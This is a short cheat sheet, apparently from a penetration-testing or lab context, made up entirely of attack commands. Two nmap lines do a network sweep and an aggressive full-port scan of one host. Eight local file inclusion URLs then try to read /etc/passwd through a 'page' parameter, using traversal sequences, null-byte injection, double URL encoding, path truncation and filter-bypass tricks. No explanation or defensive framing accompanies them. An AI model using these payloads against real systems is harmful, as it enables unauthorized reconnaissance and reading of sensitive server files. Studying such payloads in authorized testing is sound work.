nmap -sP 192.168.56.0/24
nmap -O -sT -sV -p- -T5 192.168.56.101
http://example.com/index.php?page=../../../etc/passwd
http://example.com/index.php?page=../../../etc/passwd%00
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
http://example.com/index.php?page=../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\.
http://example.com/index.php?page=../../../../[…]../../../../../etc/passwd
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd